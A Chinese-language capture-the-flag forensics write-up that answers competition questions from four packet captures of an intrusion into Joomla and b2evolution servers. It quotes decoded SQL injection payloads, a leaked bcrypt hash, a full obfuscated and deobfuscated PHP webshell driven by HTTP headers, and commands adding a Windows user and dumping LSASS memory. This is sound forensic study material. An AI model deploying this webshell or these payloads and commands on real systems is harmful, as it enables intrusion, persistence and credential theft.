2018.5.5铁三数据赛(第三赛区) 复现

1、pcap

题目:

  1. 黑客攻击的第一个受害主机的网卡IP地址
  2. 黑客对URL的哪一个参数实施了SQL注入
  3. 第一个受害主机网站数据库的表前缀(加上下划线例如abc_)
  4. 第一个受害主机网站数据库的名字
  5. Joomla后台管理员的密码是多少

先过滤http协议
外网ip/黑客ip:202.1.1.2
内网ip/服务器ip/目标机ip:192.168.1.8

继续观察

url decode后:

/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=() AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71717a7671,(SELECT (ELT(1188=1188,1))),0x71716b6b71,0x78))s), 8446744073709551610, 8446744073709551610)))-- gQsZ

明显的sql语句,所以对url注入的参数为list[select]

追踪该tcp流

受害主机网站数据库的表前缀即为:ajtuc_

进一步过滤:

(ip.addr == 202.1.1.2 || ip.addr == 192.168.1.8) && http

追踪最后一次的注入,对list[select]参数url解码后得到:

(UPDATEXML(6315,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(username AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),4235))

明显,受害主机网站数据库的名字为:joomla

在sql注入中找password

ip.addr == 192.168.1.8 && http contains "password"


Status: 500 XPATH syntax error: 'qqzvq$2y$10$lXujU7XaUviJDigqqkkq'
Status: 500 XPATH syntax error: 'qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq'
Status: 500 XPATH syntax error: 'qqzvqzi/8B2QRD7qIlDJeqqkkq'
0x71717a7671
0x71716b6b71

用脚本解密后

qqzvq
qqkkq

去掉前后缀,连起来后得到:

$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe

这是啥加密

2.pcap

题目:

  1. 黑客第一次获得的php木马的密码是什么
  2. 黑客第二次上传php木马是什么时间
  3. 第二次上传的木马通过HTTP协议中的哪个头传递数据

继续用之前的操作过滤
发现了php文件

看到base64,菜刀流量的特征
php木马的密码即为:zzz

再往后看,有一条和其它的都不一样,有较长的16进制串

复制到HxD中,保存为php,后门源码:

<?php
$p='l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';
$d=']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>';
$W='),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';
$e=']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';
$E='>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';
$t='($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';
$M=']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';
$P=']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';
$j=str_replace('fr','','cfrrfreatfrfre_funcfrtfrion');
$k='];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;[email protected]$r[>]"HTTP>]_REFERE>]R"];$ra>][email protected]>]$r[">]HTTP_A>]CC>]EP>';
$g='"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';
$R='$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';
$Q=']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';
$v=']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';
$x=str_replace('>]','',$R.$g.$k.$e.$d.$M.$p.$t.$P.$Q.$v.$W.$E);
$N=$j('',$x);$N();
?>

解混淆,在末尾加上2行:

var_dump($j);
var_dump($x);

我在linux下运行,解混淆后的源码:

string(15) "create_function"
string(929) "$kh="cb42";$kf="e130";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;[email protected]$r["HTTP_REFERER"];[email protected]$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}"

在线美化怎么不行呢,手动吧

<?php
$kh="cb42";
$kf="e130";
function x($t,$k)
{
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}
$r=$_SERVER;
[email protected]$r["HTTP_REFERER"];
[email protected]$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    if($q&&$m){
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));
        $f=$sl($ss(md5($i.$kf),0,3));
        $p="";
        for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
        if(strpos($p,$h)===0){
            $s[$i]="";
            $p=$ss($p,3);
        }
        if(array_key_exists($i,$s)){
            $s[$i].=$p;
            $e=strpos($s[$i],$f);
            if($e){
                $k=$kh.$kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}
?>

确定这就是第二个马
第二次传马的时间即为:

17:20:44.248365000


在源码中看到http头的2个参数:

[email protected]$r["HTTP_REFERER"];
[email protected]$r["HTTP_ACCEPT_LANGUAGE"];

对参数z1 base64 decode后,得到:/var/www/html/joomla/tmp/footer.php,所以第二个马的名称是footer.php
追踪footer.php的流

Accept-Language,挺正常
所以,马通过HTTP协议中的Referer头传递数据

3.pcap

题目:

  1. 内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
  2. php代理第一次被使用时最先连接了哪个IP地址

过滤mysql协议

tcp contains "mysql" && mysql

发现黑客对Mysql的登录进行了大量的爆破,受害机ip:192.168.2.20

找最后一条登录数据

admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

重新过滤:

ip.addr == 202.1.1.2 and http.request.method == POST

php代理第一次被使用时最先连接的ip是4.2.2.2

4.pcap

题目:

  1. 黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
  2. 黑客在内网主机中添加的用户名和密码是多少
  3. 黑客从内网服务器中下载下来的文件名

获取目录下的文件列表用dir或ls命令

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")

嘿嘿,ls和dir下的都有

ls在前,先追踪其流,没执行成功
再追踪dir的流

OK,dir命令执行成功
时间:18:36:59.770782000

此时,内网主机ip:192.168.2.20

ip.addr ==192.168.2.20 && http

菜刀的包较多

ip.src == 192.168.2.20 && http

在10:49:27时用户是star,在10:50:42时用户变成kaka
之间有3条包,先在star后的第一个post包中,对参数z2 b64 decode后得到:

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]

黑客在内网主机中添加的用户名和密码:kaka kaka

过滤POST流量

ip.dst == 192.168.2.20 && http.request.method==POST

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lspasss.dmp&echo [S]&cd&echo [E]

可见使用了procdump.exe
在最后一个包中,对z1参数解b64后发现文件

C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp

内网服务器中下载下来的文件名:lsass.exe_180208_185247.dmp

原文地址:https://www.cnblogs.com/wrnan/p/12331564.html

时间: 2024-11-06 13:38:34

2018.5.5铁三数据赛(第三赛区) 复现的相关文章

2018冬令营模拟测试赛(三)

2018冬令营模拟测试赛(三) [Problem A]摧毁图状树 试题描述 输入 见"试题描述" 输出 见"试题描述" 输入示例 见"试题描述" 输出示例 见"试题描述" 数据规模及约定 见"试题描述" 题解 这题没想到贪心 QwQ,那就没戏了-- 贪心就是每次选择一个最深的且没有被覆盖的点向上覆盖 \(k\) 层,因为这个"最深的没有被覆盖的点"不可能再有其它点引出的链覆盖它了,而它又

数据挖掘概念与技术读书笔记(三)数据预处理

3.1 数据预处理 数据质量的三个要素:准确性.完整性和一致性. 3.1.2 数据预处理的主要任务 数据清理:填写缺失的值,光滑噪声数据,识别或删除离群点,并解决不一致性来”清理“数据. 数据集成: 数据归约: 3.2 数据清理 3.2.1 缺失值 1.忽略元组 2.人工填写缺失值 3.使用一个全局常量填充缺失值 4.使用属性的中心度量填充缺失值:中位数 5.使用与给定元组属同一类的所有样本的属性均值或中位数 6.使用最可能的值填充缺失值:回归/贝叶斯/决策树 第6种是最流行的策略 3.2.2

java:Hibernate框架(环境搭建,Hibernate.cfg.xml中属性含义,Hibernate常用API对象,HibernteUitl,对象生命周期图,数据对象的三种状态)

1.环境搭建: 三个准备+7个步骤 准备1:新建项目并添加hibernate依赖的jar文件  准备2:在classpath下(src目录下)新建hibernate的配置文件:hibernate.cfg.xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE hibernate-configuration PUBLIC "-//Hibernate/Hibernate Configurati

自学it18大数据笔记-第三阶段Spark-day14;Spark-day15(开始试水找工作了)——会持续更新……

写在最前:转行大数据领域,没报班,自学试试,能坚持下来以后就好好做这行,不能就--!准备从现有这套it18掌的视屏残本开始--自学是痛苦的,发博客和大家分享下学习成果--也是监督自己,督促自己坚持学下去. (教学视屏是it18掌做活动送的,视屏不是很全,课堂笔记和源码等课堂相关资料也未放出,但徐培成老师课讲的真心很好,感兴趣的不妨听听,特此感谢it18掌--帮他们打打广告) 笔记为自学时记录,如有错误,欢迎指正,不胜感激!现已广州转移至上海,开始试水找工作了,欢迎小伙伴们加qq或微博沟通交流(Q

asp.net mvc3 数据验证(三)—自定义数据注解

原文:asp.net mvc3 数据验证(三)-自定义数据注解         前两节讲的都是asp.net mvc3预先设定的数据注解,但是系统自由的数据注解肯定不适合所有的场合,所以有时候我们需要自定义数据注解. 自定义数据注解有两种,一种是直接写在模型对象中,这样做的好处是验证时只需要关心一种模型对象的验证逻辑,缺点也是显而易见的,那就是不能重用. 还有一种是封装在自定义的数据注解中,优点是可重用,缺点是需要应对不同类型的模型. 现在我们以封装在自定义数据注解中的方法为例看下如何在asp.

自学it18大数据笔记-第三阶段Spark-day12——会持续更新……

写在最前:转行大数据领域,没报班,自学试试,能坚持下来以后就好好做这行,不能就--!准备从现有这套it18掌的视屏残本开始--自学是痛苦的,发博客和大家分享下学习成果--也是监督自己,督促自己坚持学下去. (教学视屏是it18掌做活动送的,视屏不是很全,课堂笔记和源码等课堂相关资料也未放出,但徐培成老师课讲的真心很好,感兴趣的不妨听听,特此感谢it18掌--帮他们打打广告) 笔记为自学时记录,如有错误,欢迎指正,不胜感激!现已广州转移至上海,欢迎小伙伴们加qq或微博沟通交流(QQ,微博和博客同名

自学it18大数据笔记-第三阶段Spark-day03——会持续更新……

写在最前:转行大数据领域,没报班,自学试试,能坚持下来以后就好好做这行,不能就--!准备从现有这套it18掌的视屏残本开始--自学是痛苦的,发博客和大家分享下学习成果--也是监督自己,督促自己坚持学下去. (教学视屏是it18掌做活动送的,视屏不是很全,课堂笔记和源码等课堂相关资料也未放出,但徐培成老师课讲的真心很好,感兴趣的不妨听听,特此感谢it18掌--帮他们打打广告) 笔记为自学时记录,如有错误,欢迎指正,不胜感激!欢迎小伙伴们沟通交流. 笔记分享:自学it18大数据笔记-第三阶段Spar

自学it18大数据笔记-第三阶段Spark-day05——会持续更新……

写在最前:转行大数据领域,没报班,自学试试,能坚持下来以后就好好做这行,不能就--!准备从现有这套it18掌的视屏残本开始--自学是痛苦的,发博客和大家分享下学习成果--也是监督自己,督促自己坚持学下去. (教学视屏是it18掌做活动送的,视屏不是很全,课堂笔记和源码等课堂相关资料也未放出,但徐培成老师课讲的真心很好,感兴趣的不妨听听,特此感谢it18掌--帮他们打打广告) 笔记为自学时记录,如有错误,欢迎指正,不胜感激!欢迎小伙伴们沟通交流. 笔记分享:自学it18大数据笔记-第三阶段Spar

自学it18大数据笔记-第三阶段Scala-day06——会持续更新……

写在最前:转行大数据领域,没报班,自学试试,能坚持下来以后就好好做这行,不能就--!准备从现有这套it18掌的视屏残本开始--自学是痛苦的,发博客和大家分享下学习成果--也是监督自己,督促自己坚持学下去. (教学视屏是it18掌做活动送的,视屏不是很全,课堂笔记和源码等课堂相关资料也未放出,但徐培成老师课讲的真心很好,感兴趣的不妨听听,特此感谢it18掌--帮他们打打广告) 笔记为自学时记录,如有错误,欢迎指正,不胜感激!欢迎小伙伴们沟通交流. 笔记分享:自学it18大数据笔记-第三阶段Scal